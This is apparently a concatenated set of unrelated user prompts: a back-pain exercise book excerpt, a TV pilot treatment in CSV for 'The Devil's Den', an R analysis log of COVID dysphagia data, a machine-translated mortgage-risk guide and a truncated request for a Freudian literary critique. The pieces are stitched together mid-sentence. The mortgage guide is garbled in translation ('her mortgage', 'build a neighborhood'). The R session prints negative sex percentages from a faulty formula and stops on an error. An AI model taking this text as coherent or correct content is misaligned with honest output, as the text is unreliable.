exercises by the brilliant Bill Fabrocini) as well as aerobic exercise, which is also key to your long-term recovery. It is not specifically back-oriented, but Bill Fabrocini is very sophisticated about back issues and his general strength-training guidance will serve you well. (Also, I cowrote it, so it is intermittently readable.)\nMore specifically, Jeremy has just completed a truly remarkable, video-based guide to back pain and exercise (of all kinds) called BackForever.com. As I now know so well, when it comes to back issues Jeremy is an absolute hound for precision, scientific soundness, and detail, and he has worked his tail off to make his subscription video protocol (with some 150 separate videos on absolutely everything) as good and comprehensive as video can be. I have seen ’em, and they’re amazing.\nActually, if it were my back, I’d buy the book (it’s cheap) and subscribe to BackForever.com (the price of a couple of sessions with a personal trainer). If you do the same, we guarantee you’ll end your back pain and live happily ever after. No, we don’t, but damn near.\nBefore we turn you loose, we want to give you some warnings about strength training in general and a couple of specific tips about things to avoid. \nTHE BODYBUILDING BLUNDER\nThe first step for a lot of us, as we turn to strength training, is to “get over” the “bodybuilder” or “muscle isolation” mentality of the 1960s and ’70s and beyond. In those decades, the new exercise machines—Nautilus and others—were all in vogue, as was the focus on bodybuilding, thanks in significant part to Arnold Schwarzenegger and the movie Pumping Iron. The idea was to build big biceps (“guns”), huge quads, and whatnot. And to become strong. Then I guess you head down to the beach so Gidget and the Baywatch babes could swarm around. And the way you built those guns and whatnot, mostly, was with the nifty new weightlifting machines, especially the Nautilus gadgets. The ostensible genius of the Nautilus machines was that they gave constant stress across the full range of a rep. True, too, and a good idea. But the real appeal of the machines, I bet, was that in some curious way they made weightlifting “easy.” You still had to hoist heavy weights and grunt and sweat and stuff. But the machines did a lot of the hardest and most subtle work. They took all the balance out of strength training. And most of the coordination. Which permitted you to do what bodybuilders wanted to do then which was to isolate and grow the big muscles: the quads, your pecs, your biceps, and so on. It was much easier to do all that if you did not have to bother with the pesky business of balancing and stabilizing yourself. \nIn the normal course of weight training (when you were not using strength machines), stability (and coordination) was mostly the work of little support muscles and groups of muscles surrounding the big muscles. The machines did most of that for you. Which was nice. Except for this: The little guys—the support muscles—atrophied or died. Which was dangerous and dumb. \nBecause our body is designed to work—virtually all the time—on a fully integrated, whole-body basis. And that is impossible without the help of the little guys. Athletic movements (and most real-life movements) do not use isolated muscles; they use the whole shebang. Movement and exercise is orchestral, not a series of solos. Every lift in the real world is a whole-body affair. Isolating the big boys while letting the little guys go to hell was an absolutely awful idea. Bill Fabrocini (one of the great leaders in the whole-body training field and coauthor of two Younger Next Year books on the subject) sees hundreds of well-intentioned, serious people now in their sixties and seventies who have been “muscle isolation” weightlifters all their lives. They have huge muscles and can hoist great weight with them. But for the activities of daily life or normal exercise, they are weak as kittens. They are wretched athletes (if they can move at all). And often their backs and necks are aching ruins. Because the little muscles, which are key to whole-body movement, have gone to hell and their bodies are agonizingly out of alignment. It is possible to save these poor souls but it takes forever. Unsurprisingly, it is mostly a matter of teaching them to get over the machines and the muscle isolation model and learn whole-body, integrated workouts. Mostly you use your own body weight in integrated exercises, without machines. (Note: You do not have to give up machines completely; they can be a useful supplement to a whole-body regimen, if used properly.) \nDid that help? I hope so. Because it is important to grasp the significance of integrated, whole-body strength training. It is only integrated, whole-body movement that is going to build the kind of strength and movement patterns that are going to enable you to return to those higher risk activities. And make no mistake: You are almost certainly going to have to develop a much stronger core if it is going to be able to do its great job in protecting your back for serious exercise. \nFrom Jeremy\nLet me expand upon the muscle isolation theme a bit. Often it may be necessary to isolate muscles when deficiencies are present in those particular muscles, to reestablish strength and balance within the body so that a full-body exercise can be performed properly. But, after these rehabilitative goals are accomplished, integrated movement using the core for stability while incorporating balance is essential. With most machines, you are sitting there, exerting maximum force across one joint—your elbow, say—while the machine does all the stabilizing and balancing. That puts dangerous amounts of load across that joint. Bodybuilding focuses on developing muscle hypertrophy, meaning an increase in muscle mass. A specific muscle or set of muscles is isolated with a machine and moved against resistance until that muscle gets big. Various muscles throughout the body are put through this process individually to achieve a certain look, with no thought given to linking the muscles together to mimic the movements of sport or daily activities. This does nothing to train the muscles and muscle systems to move . . . to work together for maximum efficiency and minimum joint damage. As we age, it is crucial to challenge the systems in our bodies that maintain balance and stability. As the saying goes, use it or lose it. \nInstead of bodybuilding, we want you to think of training muscle systems and movements. A maxim I hear Bill say all the time that is common in the profession is “Train movement, not muscles,” and he’s absolutely right. Your goal in the gym is to build up the systems of muscles that support the movements of daily life, work, and sport, not to build “guns” for the beach. \nYou also need to get out of the mind-set that to work your core you must be doing core-specific exercises. It doesn’t work that way. All whole-body exercises are core exercises. The core muscles are designed to stop movement, not produce movement. Think about that for a minute. The core muscles are there to stop your spine and torso from moving while loads are applied through the arms and legs. Their primary function isn’t so much to move the torso as to keep it still. For example, if you are standing on your own two feet with nothing to lean against and pull a cable that has resistance, it is your core that is keeping your body from twisting and becoming off balance when you pull the cable. The stronger the resistance on the cable, the stronger your core has to be to resist that resistance. Juxtapose this with sitting on a “seated row” machine, where your chest is against a pad and you pull enormous amounts of weight, straining against the pad to keep your body in place, and you get the picture. \nDETAILS\nJust as in your daily exercises laid out in painstaking detail in this book thus far, the specific little details matter in strength training with weights, too. In fact, the stakes are higher because the load is higher and there is far less room for error. Regarding weight training, your goals dictate the degree of risk you are willing to assume. All weight training requires you to assume some degree of risk. If your goal is to get back to being an NBA center, that risk is pretty high because we are going to subject you to enormous loads in somewhat dangerous positions, but it’s worth it if you need to get back to your multimillion-dollar-a-year job. If your goal is to get back to being a grandma who can safely pick up her grandchild, the risk is much lower. And if your goal is to get back to recreational golf a few times a week, your risk is somewhere in the middle. It is for these reasons and because of the complexity of the movements we are discussing that presenting a one-size-fits-all strength-training regimen in this book is nearly impossible. Therefore we decided that rather than present you with an inferior product, we would give you an overview of the general information here and present you with some options to further your interests in a much more individualized way. \nAs you know, Chris and I are both huge fans of Bill Fabrocini’s warm-ups and exercises in Younger Next Year: The Exercise Program. They provide a superb foundation for general strength training. If you want a more customized workout tailored to the protection and strengthening of your back check out my BackForever.com online membership program with streaming videos and other content referred to in the Appendix. It was my goal to make it the definitive, visual guide in this area.\nAnother option of course is to hire a personal trainer until you get comfortable with the do’s and don’ts of strength training. A great personal trainer can be a huge help. But be warned, personal trainers vary wildly in skill level and knowledge. It can be very difficult to find a good one. Asking potential trainers if they are familiar with the concepts we talk about in this book is a good starting point. Also ask how much experience they have with working with clients with back pain. Ask them for referrals and interview those people if possible. Chris and I hope to solve the problem of finding a good trainer by creating a certification program down the road. Depending on where you live, expect to pay anywhere from $75 to $200 per hour for a great personal trainer. \nFrom Chris and Jeremy \nFinally, we also want to drive home the point about strength exercises that are bad for you. There are a few that you just shouldn’t be doing. Even though we don’t have room to show you the things you should do instead, we wanted to give you a sharp warning about the things you should not do. We include these “bad exercises” here so you don’t hurt yourself.\nBEHIND THE HEAD LAT PULLDOWNS \nLat pull down alternative' +'Okay, writing partner. I\'m calling you ScriptdoctorGPT, by the way. Here is the pilot episode of "The Devil\'s Den" titled "Under New Management" formatted as a csv broken up into a few sections so we can be on the same page as we continue to build out the treatment.\n\nScene,Scene heading,Basic description,Detailed description\n1,INT. LOS PADRINOS - ABANDONED WING - NIGHT (FLASHBACK),"Cold open: Flashback to Los Padrinos during its dark past, with a mysterious event hinting at the supernatural.","In the cold open, we flashback to Los Padrinos during its dark past, before the facility was closed. The scene is set in an abandoned wing of the facility, dimly lit and filled with the echoes of distant cries and whispers. The camera navigates the eerie hallways, creating an unsettling atmosphere.\n\nA shadowy figure moves quickly and quietly through the dark corridors, as if on a secret mission. As the figure enters a hidden room, we catch a glimpse of strange symbols and artifacts on the walls, hinting at the supernatural. A sudden, unexplained event takes place in the room, jolting the figure and leaving the audience with a sense of mystery and foreboding. The scene ends with a lingering shot of the room, setting the stage for the supernatural elements of the series."\n2,INT. TV NEWS STUDIO - DAY (3 YEARS AGO),TV news story briefly covers the controversial closure of Los Padrinos Juvenile Hall due to allegations of mistreatment and supernatural activity.,"A clip from a TV news broadcast from 3 years prior, an anchor briefly covering the controversial closure of Los Padrinos Juvenile Hall due to allegations of mistreatment and supernatural activity. The news report provides a quick overview of the facility\'s dark history, including the mysterious disappearance of several detainees and the rumors of haunting occurrences within its walls.\n\nAs the anchor wraps up the story, we reveal that the TV is being watched by a woman in her late 30s we will come to know as Gabriela, having paused in the middle of her housework to intently watch the story, a heavy look on her face. The audience is left with a sense of intrigue and unease about Los Padrinos, setting the stage for the events that will unfold throughout the episode."\n3,INT. GABRIELA\'S LIVING ROOM/TV NEWS STUDIO - EVENING (PRESENT DAY),"Present day: Gabriela watches a TV news story announcing that Los Padrinos management is reopening the facility, promoting a progressive and caring approach.","We jump cut to present day, finding Gabriela in the same room and in the same position as before, a few rough years on her. She\'s watching a new TV news report announcing the reopening of Los Padrinos Juvenile Hall under new management. The segment features an interview with the new Warden/Director, Evelyn Bunker, who speaks about the progressive changes and improvements made to the facility since its closure, including a mental health initiative.\n\nDespite the promises of a brighter future for Los Padrinos, Gabriela watches the news story with an equally heavy heart, a heightened concern evident on her face. We see footage of the exterior of Los Padrinos, a fresh coat of paint masking a deeper truth of a troubled past. The scene ends with a closeup of a framed photo in Gabriela\'s home, a portrait of a teenaged girl who doesn\'t want to be photographed. This is Alex, protagonist of our show."\n4,EXT. LOS PADRINOS JUVENILE HALL - DAY,"Our protagonist, Alex, arrives at the newly reopened Los Padrinos, stepping into the deep unknown.","A van pulls up in front of the newly renovated Los Padrinos Juvenile Hall, and a nervous-looking Alex steps out, escorted by two correctional officers. She hesitates for a moment, gazing at the imposing facade of the facility, as though sensing the darkness that still lingers within its walls.\n\nAs Alex is led toward the entrance, she takes in her new surroundings, observing the fresh paint, security cameras, and other signs of the recent renovation. Despite the outward appearance of change, she remains skeptical and wary of what lies ahead. The scene is punctuated by the heavy sound of the facility\'s doors closing behind her, reinforcing the sense of confinement and uncertainty that awaits her inside."\n5,OPENING TITLES,Opening title sequence.,"The opening title sequence for ""The Devil\'s Den"" takes on the style of animated graffiti art, inspired by the urban environment surrounding Los Padrinos Juvenile Hall. The graffiti comes to life, revealing street art depictions of the main characters, the facility, and eerie supernatural elements. The lively animation is accompanied by a hard-edged, hip-hop-infused theme song that captures the youthful energy and defiance of the characters.\n\nAs the sequence unfolds, the graffiti art begins to incorporate elements of surreal imagery and religious symbolism. We see graffiti of ghostly figures, broken chains, and a burning candle set against a stained-glass window backdrop. The animated graffiti transitions from the streets to the walls of Los Padrinos, merging the exterior world with the haunted interior of the facility.\n\nThe sequence takes on a more ominous tone as the religious symbols become more prominent, with images of guardian angels juxtaposed against demonic figures, and crosses appearing throughout. This blend of surrealism and religious symbolism adds a layer of depth and complexity to the opening sequence, enhancing the show\'s themes of darkness and redemption.\n\nThe sequence ends with a dramatic spray-painting of the show\'s title, ""The Devil\'s Den,"" on a wall within the facility, the title emanating an ethereal glow."\n6,EXT./INT. LOS PADRINOS JUVENILE HALL - DAY,"Alex arrives at Los Padrinos Juvenile Hall, escorted by officers and greeted by Director Evelyn Bunker, as the imposing building foreshadows the dark secrets and supernatural forces at play within the facility.","Alex, handcuffed and flanked by two uniformed officers, arrives at Los Padrinos Juvenile Hall. The imposing, freshly-painted building looms over them, hinting at the dark secrets it holds. As the officers escort her to the entrance, Alex gazes up at the facility with a mix of apprehension and determination, clenching her fists in defiance.\n\nAs they approach the entrance, the group passes a mural depicting the facility\'s new focus on mental health and rehabilitation, a stark contrast to the dark rumors surrounding Los Padrinos. The officers exchange glances, skeptical of the facility\'s new image. As they walk, a gust of wind picks up, stirring leaves and casting eerie shadows on the walls, foreshadowing supernatural forces here. As Alex walks, we hear the poised voice of a woman speaking in glowing words and platitudes about the profound transformation of Los Padrinos, like she\'s doing PR as she indoctrinates the new inmates.\n\nWe reveal that the voice belongs to the facility director Evelyn Bunker, who watches them intently, a practiced smile playing on her lips. The scene ends with Alex being led through the doors of Los Padrinos, the heavy entrance doors shutting ominously behind her, sealing her fate within the walls of the haunted juvenile hall."\n7,INT. LOS PADRINOS INTAKE HALL - DAY,"Alex makes her way through the intake hall, taking in the tense atmosphere and connecting with potential ally Carlos, as she braces herself for the challenges ahead.","Alex is escorted into the intake hall, where the atmosphere is tense despite the walls being adorned with modern, overly-positive youth culture murals, attempting to instill hope and encouragement but inadvertently creating an oppressive environment. As Alex is led through the hall, she takes note of the other detainees, who watch her arrival with curiosity and wariness.\n\nOne of the detainees, Carlos, makes eye contact with Alex, with a hint of suspicion in his eyes, unsure of her intentions. She nods back, sensing in him a potential ally. During this exchange, a staff member named Mr. Adams stands near Carlos, watching Alex closely. He\'s a fatherly figure who supports Carlos, showing genuine concern for his well-being.\n\nAs Alex is led to a processing area, she passes by a bulletin board displaying various facility-related information. A photo briefly catches her eye, but before she can make it out, she\'s ushered on toward the processing area. The scene ends as Alex takes a deep breath and steels herself for the challenges ahead."\n8,INT. ALEX\'S CELL - DAY,Alex meets her cellmates and begins to settle into her new surroundings at Los Padrinos Juvenile Hall.,"Alex is brought to her cell, where she meets her three cellmates: Heather, Pretzel, and Jasmine. Each girl reacts to her arrival differently; Heather is standoffish and suspicious, Pretzel appears indifferent, while Jasmine offers a tentative but genuine smile.\n\nThe cell itself is small and cramped, with each girl trying to make the space their own with personal touches like photos, drawings, and trinkets. As Alex sets up her bunk, she notices a small, worn book on the top shelf, which she later discovers holds a powerful personal connection.\n\nWhile the girls engage in guarded conversation, Alex can\'t help but feel a growing sense of unease, as if the walls of the cell hold secrets they\'re not yet ready to reveal. The scene ends with Alex lying on her bunk, staring at the ceiling, deep in thought."' +'> # Import Data -------------------------------------------------------------\n> Covid <- read.csv("~/Residency/PMR Specific/Research/COVID and Dysphagia/Data\\_Analytics/data/Adapted Data/Covid\\_Dysphagia\\_Adapted\\_Data.csv")\n> \n> # Library -----------------------------------------------------------------\n> library(data.table);library(readr)\ndata.table 1.14.6 using 10 threads (see ?getDTthreads). Latest news: r-datatable.com\n> library(haven);library(stringr)\n> library(epitools);library(multcomp)\nLoading required package: mvtnorm\nLoading required package: survival\n\nAttaching package: ‘survival’\n\nThe following object is masked from ‘package:epitools’:\n\n ratetable\n\nLoading required package: TH.data\nLoading required package: MASS\n\nAttaching package: ‘TH.data’\n\nThe following object is masked from ‘package:MASS’:\n\n geyser\n\n> library(dplyr); library(DataCombine)\n\nAttaching package: ‘dplyr’\n\nThe following object is masked from ‘package:MASS’:\n\n select\n\nThe following objects are masked from ‘package:data.table’:\n\n between, first, last\n\nThe following objects are masked from ‘package:stats’:\n\n filter, lag\n\nThe following objects are masked from ‘package:base’:\n\n intersect, setdiff, setequal, union\nAttaching package: ‘DataCombine’\n\nThe following object is masked from ‘package:data.table’:\n\n shift\n\n> library(berryFunctions);library(ggplot2)\n\nAttaching package: ‘berryFunctions’\n\nThe following object is masked from ‘package:dplyr’:\n\n between\n\nThe following object is masked from ‘package:data.table’:\n\n between\n\n> \n> #Dysphagia and no dysphagia groups\n> Dysphagia <- subset(Covid, DysphagiaYN==1)\n> NoDysphagia <- subset(Covid, DysphagiaYN==0)\n> \n> #Mark\n> Covid$Mark <- 1\n> \n> # Intro Descriptive Analysis ----------------------------------------------\n> length(unique(Covid$ID)) #No repeats or redmissions\n[1] 346\n> \n> #Age\n> summary(Covid$Age, na.rm = TRUE); sd(Covid$Age, na.rm = TRUE)\n Min. 1st Qu. Median Mean 3rd Qu. Max. NA\'s \n 20.00 55.00 65.00 63.86 74.00 97.00 2 \n[1] 13.71073\n> summary(NoDysphagia$Age, na.rm = TRUE); sd(NoDysphagia$Age, na.rm = TRUE)\n Min. 1st Qu. Median Mean 3rd Qu. Max. NA\'s \n 20.00 54.00 64.00 63.10 73.75 96.00 2 \n[1] 13.87471\n> summary(Dysphagia$Age, na.rm = TRUE); sd(Dysphagia$Age, na.rm = TRUE)\n Min. 1st Qu. Median Mean 3rd Qu. Max. \n 23.00 56.25 67.00 65.07 75.50 97.00 \n[1] 13.4126\n> \n> #Sex\n> mean(Covid$Sex, na.rm = TRUE)\\*100\n[1] 66.56977\n> 1-mean(Covid$Sex, na.rm = TRUE)\\*100\n[1] -65.56977\n> mean(NoDysphagia$Sex, na.rm = TRUE)\\*100\n[1] 67.61905\n> 1-mean(NoDysphagia$Sex, na.rm = TRUE)\\*100\n[1] -66.61905\n> mean(Dysphagia$Sex, na.rm = TRUE)\\*100\n[1] 64.92537\n> 1-mean(Dysphagia$Sex, na.rm = TRUE)\\*100\n[1] -63.92537\n> \n> #Prevelance of dysphagia\n> mean(Dysphagia$DysphagiaYN, na.rm = TRUE)\n[1] 1\n> mean(NoDysphagia$DysphagiaYN, na.rm = TRUE)\n[1] 0\n> \n> #Length of stay\n> mean(Dysphagia$AC\\_LOS, na.rm = TRUE)\n[1] 31.23214\n> mean(NoDysphagia$AC\\_LOS, na.rm = TRUE)\n[1] 20.26667\n> \n> #Dysphagia at DC, resolution\n> mean(Dysphagia$DysphagiaDCYN, na.rm = TRUE)\n[1] 0.4029851\n> mean(NoDysphagia$DysphagiaDCYN, na.rm = TRUE)\n[1] 0.1037736\n> \n> #Intubation\n> mean(Dysphagia$O2\\_AC\\_IntubYN, na.rm = TRUE)\n[1] 0.7846154\n> mean(NoDysphagia$O2\\_AC\\_IntubYN, na.rm = TRUE)\n[1] 0.5698925\n> \n> #BMI\n> mean(Dysphagia$BMI, na.rm = TRUE)\n[1] 29.91071\n> mean(NoDysphagia$BMI, na.rm = TRUE)\n[1] 32.2\n> \n> # Table 1 - Intubation -----------------------------------------------------------------\n> #Cont/Binary/Categorical\n> a <- list("Age","BMI"); b <- list("Sex","HTN","DM","HLD","CAD","CKD","CA","Alcohol")\n> c <- list("Race","Smoker")\n> \n> #Cont\n> d <- aggregate(Covid[,c(unlist(a))], list(Covid$DysphagiaYN), mean, na.rm=TRUE); d <- round(d,1)\n> e <- aggregate(Covid[,c(unlist(a))], list(Covid$DysphagiaYN), sd, na.rm=TRUE); e <- round(e,1)\n> f <- cbind(data.frame(unlist(a)), paste(d[1,2:3],"±",e[1,2:3],sep=""),paste(d[2,2:3],"±",e[2,2:3],sep=""))\n> colnames(f)= c("Variable","No\\_Dysphagia","Dysphagia")\n> \n> #All\n> d <- aggregate(Covid[,c(unlist(a))], list(Covid$Mark), mean, na.rm=TRUE); d <- round(d,1)\n> e <- aggregate(Covid[,c(unlist(a))], list(Covid$Mark), sd, na.rm=TRUE); e <- round(e,1)\n> f <- cbind(f,paste(d[1,2],"±",e[1,2],sep=""))\n> colnames(f)= c("Variable","No\\_Dysphagia","Dysphagia","All")\n> \n> #Binary\n> d <- aggregate(Covid[,c(unlist(b))], list(Covid$DysphagiaYN), mean, na.rm=TRUE)\n> d <- rbind(d, aggregate(Covid[,c(unlist(b))], list(Covid$Mark), mean, na.rm=TRUE)); d <- d[,-1]\\*100; d <- round(d,1)\n> d <- data.frame(rownames(t(d)),t(d)); colnames(d)=colnames(f); f <- rbind(f, d)\n> \n> #Categorical\n> #No Dysphagia\n> Work <- NoDysphagia; Work$Race <- replace(Work$Race, is.na(Work$Race), 0)\n> for (i in 1:length(c)){\n+ d <- round(data.frame(Work %>% count(Work[,unlist(c[i])], Work[,unlist(c[i])]))[-1]/length(subset(Work[,unlist(c[i])], !is.na(Work[,unlist(c[i])])))\\*100, 1)\n+ d <- data.frame(paste(rep(unlist(c[i]),length(levels(as.factor(Work[,unlist(c[i])])))), levels(as.factor(Work[,unlist(c[i])])), sep=""),d[,1])\n+ ifelse(exists("g"),g <- rbind(g,d),g <- d)\n+ }\nError in data.frame(paste(rep(unlist(c[i]), length(levels(as.factor(Work[, : \n arguments imply differing number of rows: 3, 4' +":You have summarized this article\nThe complete guide to risk management in your mortgage.\n \n\nHer mortgage is a financial product in a changing market.\n\nWhat do you mean?\n\nHer residence is built of tracks. Each track is built from financial components such as interest, the consumer price index, bond derivatives, financial instruments such as a short-term lender and more.\n\nAll these elements are constantly changing as a result of macroeconomic changes, demands of the banks and expectations in the local and global capital market.\n\nWhen these things change, there is an impact on our mortgage and in this article I will guide you how to manage all the risks you have in your mortgage so that you never face challenges ranging from monthly financial pressure to forced eviction of your property.\n\n \n\nI'm writing you the guide because her mortgage, unlike the loans we take from credit companies or from our private bank account, involves hundreds of thousands of shekels for decades.\n\nWhen it comes to such sums for such periods, there are many risks and we will start detailing them one by one.\n\n \n\nFinancial risk of losing a large part of the equity-\n\nYou have decided to buy a house. Mazel Tov! The property you decided on costs a million NIS and you have 250,000 NIS equity. You did your tests, you signed the contract but your equity is sitting in the stock market and there is still a month until it needs to be transferred to the seller and you think: maybe we should leave it invested so that we don't miss gains in the stock market and lose money....\n\nRemember, as soon as you bought a property and signed a contract, you entered into a contractual obligation. At this moment, your equity is part of the deal and therefore, if your money is sitting in an investment account, just remember that the capital market can, sometimes, drop very sharply and it doesn't inform you beforehand and moreover, it usually takes a long time to rise back up.\n\nThis is of course not a recommendation of what to do or not to do, these are just a warning light for you of this risk that exists.\n\n \n\nRisk of additional costs around her mortgage -\n\nMany people do not understand that buying a property has many additional costs.\n\nCost of a broker, lawyer, mortgage consultant, purchase tax, moving expenses, etc.\n\nWhat happens is that people do not take this into account and then at the end of the process realize that they lack significant money.\n\nThey obtain the same money in an external loan for her mortgage where the monthly repayment is high.\n\nThis is exactly how people get into a financial spiral: beyond the commitment of the monthly repayment, they add a few hundred or thousands of shekels to the monthly commitment.\n\nYou have decided to purchase a property, stop and examine your budget in depth. Take into account all the additional costs that can reach hundreds of thousands of shekels and this is no joke.\n\n \n\nRisk of low ratings-\n\nBefore you receive money from the mortgage bank, the bank will ask you to bring an appraiser's opinion on the value of the property.\n\nSo where is the risk here? Let's see an example:\n\nYou buy a property for a million NIS and all you have in equity is 250,000 NIS in equity. Even if you transform yourselves and your families you will have no more money.\n\nThis is your first apartment, so the bank will be ready to give you 75% financing, which means that this NIS 250,000 is enough for you.\n\nWhat you must know is that the bank will give you 75% financing from the value of the contract or from the appraisals - whichever is lower.\n\nIn the same example, the appraiser comes and says that the property is worth 900,000 NIS and not a million.\n\nAt this stage, the bank will give you 75% of NIS 900,000 which is NIS 675,000 and you will be short of NIS 75,000 that you have nowhere to get them from.\n\nSo the risk here is for those who buy an apartment and their equity is limited and in that case, it is probably worth getting an appraisal in advance.\n\n \n\nRisk of not getting her mortgage as a result of incorrect submission -\n\nThe process to purchase a property with the help of a mortgage begins with approval in principle from the bank. That is, the bank gives you approval in principle based on what you fill out online or tell it on the phone. What this means is that, in principle, based on the data you provided, you receive approval.\n\nNow, before the bank transfers money to you, it will check as carefully as possible that it has all the details you provided. If you have not provided absolutely true data, the bank is entitled, even though you already have approval in principle and have signed a contract, not to approve the mortgage for you.\n\nIn the bottom line, you have to tell the bank the truth and at the same time tell it what it needs to know and nothing more.\n\n \n\nThe risk of losing tens and hundreds of thousands of shekels -\n\nThe banks that give us mortgages are business entities. They make money when they sell us money.\n\nThey buy the money cheaply (mainly from us - checking, deposits with zero yield) and sell this money to us at a high price in the form of loans and mortgages.\n\nThe bigger the loan, the more profit the bank can make and in the case of her mortgage it is clear what is happening.\n\nSo how do you not lose tens and hundreds of thousands of shekels on your mortgage -\n\nYou learn and understand everything you need to know in order to compare your knowledge with that of the banks.\n\nIt's either do it or take private mortgage advice. There is no other way to not lose money.\n\nUnderstand, the banks do the act of giving a mortgage every day and many times in the same day. They have systems that show them how much profitability there is on each track and they know how to build you the best mortgage... for the bank.\n\nYou must take responsibility here and know how to build a neighborhood that will be the best for you and only you.\n\nOnly in this way will you manage not to lose tens and hundreds of thousands of shekels.\n\n \n\nGet under financial pressure every month because the monthly repayment increases-\n\nThe monthly repayment of your mortgage can and will probably increase along the way.\n\nThe only option that it won't increase is if you take all of your mortgage on a fixed interest rate route and not linked to the index and you don't divide the mix into additional routes, which is probably not smart at all, but stable.\n\nLet's understand what can cause your monthly repayment to climb over the years-\n\nThe prime track - the prime track is built from the Bank of Israel interest rate and another one and a half percent. For the purpose of the example, the Bank of Israel interest rate is 0.5%, so the prime will be 2%.\n\nThe Bank of Israel interest rate can change as of today (2022) eight times a year. That is, the prime route has the potential to change 8 times a year.\n\nEvery time the banks of Israel raise the interest rate, your prime route will be automatically updated and your monthly repayment will increase.\n\nHow much will he grow? You should check this before you take the mortgage in the following way:\n\nOpen a mortgage calculator and enter in it the amount you take in the prime route, for how many years, at what interest rate and see how much you pay back per month.\n\nNow, go to the interest cell and increase it by a whole percentage. When you do this, the monthly repayment will go up.\n\nThe amount of the increase is what should interest you and the question you need to ask yourself is whether you will be able to meet the monthly repayment if the interest rate increases by 3%.\n\n \n\nAny route that is close to the consumer price index has a risk of increasing your monthly return and let's explain why-\n\nThe consumer price index is published every month and shows whether the prices of a basket of products have risen or fallen. The goal of the Bank of Israel is for the index to rise between one percent and three percent per year every year.\n\nLet's illustrate the issue with an example:\n\nTo take a million shekels from her mortgage at a fixed interest rate with the loan principal linked to the consumer price index for a period of twenty years. Your monthly repayment is about NIS 5,200.\n\n \n\nThe mechanism of linking to the index works as follows-\n\nEach month you take the index increase (or decrease) and multiply it by the mortgage amount you have left to pay. The result is increased (or reduced) from the loan fund.\n\nIn our example, if the index rose by one percent, then you take the million you took from the bank and multiply by the percentage and add the result to the million you took.\n\nYes, you took a million, you haven't done anything yet, only the index went up and you owe the bank one million and ten thousand NIS.\n\nBesides that it really sucks, the risk is a continuous increase in the monthly repayment because you will pay back the money you took in twenty years anyway. Now you have to repay more money at the same time and therefore the monthly repayment climbs.\n\n \n\nTracks change every two, five or any other frequency, contiguous or non-contiguous -\n\nWith her mortgage, you can take routes with a fixed or variable interest rate\n\nAccording to what we have learned so far, the safest and most stable but also the most expensive route is a route with a fixed and non-linked interest rate. After that, there is a route with a fixed interest rate and linked to the index, and you already understand this risk.\n\nOf course, there is the prime course which has the potential for a significant change and now we will talk about courses with variable interest rates, the most famous of which changes every five years.\n\nIn this route you can choose between a variable interest rate not linked to the index and a variable interest rate linked to the index.\n\nIn this route the interest is fixed for a period of 5 years and at the end of the five years it changes.\n\n \n\nAccording to what does it change?\n\nAccording to a fixed and clear mechanism that the bank has no control over. This mechanism is called the bond anchor. That is, when the bank quotes you the interest rate on the variable every five years, then it consists of an anchor and a margin. The anchor is external to the bank and is related to the yields of government bonds, while the margin is actually how much the bank wants to earn above the anchor.\n\nFor the purpose of the example: take a course that changes every five years linked to the consumer price index. The interest the bank gave you is 2.5%. The anchor today is 0% and for you the margin is 2.5%.\n\n5 years have passed and the change station has arrived.\n\nAll the bank does is go to the bond anchor and figure out how much it stands at now. If the anchor now stands at 2%, then the interest you will receive and will lock in for the next five years is 4.5%, which is made up of the margin you received and will always remain with you (2.5%) plus the current anchor.\n\nSo here there is a risk of an increase in the monthly repayment and if you take a variable interest rate every five years which is close to the dimension of the risk of a significantly higher repayment increase.\n\n \n\n \n\nNot meeting her mortgage repayments-\n\nWhen you take a mortgage, you have a big responsibility and it is to pay for it every month. It sounds obvious but life goes on and sometimes you don't pay attention and there is not enough money at the time of the charge and the mortgage comes back. This is an unnecessary risk that can harm your personal credit rating and your ability to improve your mortgage or refinance it to another bank.\n\nYou took out her mortgage, notice that there is money in the account for the monthly repayment.\n\nIn cases where there really is no money (and unfortunately there are such cases) then don't wait for her mortgage to be returned to you, rather be proactive and go to the bank to find one-off solutions such as freezing her mortgage until things work out. Don't give the bank a chance to get their hands on your house.\n\n \n\nEarly repayment fees-\n\nLook, when you take out a mortgage and you want to pay off parts of it, you are exposed to early repayment fees.\n\nThe high fees are mainly found in the fixed routes for long periods.\n\nDo you know that you are going to or need to pay off part of her mortgage in the coming years? Work smart! Build a mix that suits your needs and make sure you are not exposed to such fees more than you have to.\n\n \n\n \n\nHer mortgage insurance-\n\nHere, unfortunately, I have a very difficult experience and I am glad that I have the opportunity to tell you about it so that it will not happen to you.\n\nYou bought a house from a contractor/second hand! Mazel Tov. The critical time is between signing your contract and taking the mortgage.\n\nFor example: you purchased a property for two million shekels. You signed the contract and transferred half a million to the sellers. From that point you are in a situation of contractual obligation.\n\nIn the media and (tap tap tap tap) it calls a catastrophe between the signing and taking the mortgage will be a big problem.\n\nThe problem will start with the fact that it is not certain that they will let only one of the spouses take her mortgage alone, and if so then it will be very, very problematic.\n\nSo pay close attention to this issue please and don't play with it.\n\n \n\nDo not check cycle option-\n\nAnother very significant risk is to bury your head in the sand after receiving your mortgage.\n\nRemember, we started by saying that your mortgage is a financial product in a changing market. Sometimes the market changes in our favor and not taking advantage of these changes by partially or fully refinancing the mortgage is a risk no less small than any other risk.\n\nSo when should you check the feasibility of a cycle?\n\nThe answer is clear: every time your abilities, your needs and the market conditions have changed in your favor then it is worth checking.\n\n \n\nThat's it, that's all the many risks there are in her mortgage.\n\n \n\nI really hope that the guide will help you not to make mistakes and remember, Mishnetha? Firm!\n\nPrivate consultation with the power of a network!\n\n \n\nThe national network for mortgage advice." +'! Keep your character. \nCriticize the literature below in Freud\'s way.\n---\nTitle : Gray grapes and lemon gas lamps - Jeon Hye-rin\n\n \n\nMain Text :\n\nThe first time I stepped on German soil was in deep autumn. The sky was gray and opaque and thick. The air was full of water that would haunt me for years to come, heavy and snappy. Women in scarves and men in leather coats stood out.\n\n \n\nWhen I got off at Riem, an empty airfield in Munich, I was so overwhelmed that I wanted to cry and most of all, my heart was pressed by the cold and dark weather.\n\n \n\nWhen it comes to Munich, I think my hair has since been filled with gray and fog because of the first impression of the afternoon I got off at Air France and my uncontrollable loneliness rather than his unique bad weather.\n\n \n\nGetting on the bus to the airport with the trunk, paying all the money to the driver, making him take only one mark of it, and going to the boarding house alone without strength, I really felt sad as if I had become a horseman in Paris.\n\n \n\nFirst of all, I had to go to the school secretariat called Asta, which I had contacted from my home country, and find a poster on the wall. It was to see the advertisement for \'Zimmerfrei\'. They\'re all more expensive than I thought. It was far from school again. And Munich seemed to me like a labyrinth itself and I didn\'t have the confidence to go and live more than five minutes away from school.\n\n \n\nAmong them, I only 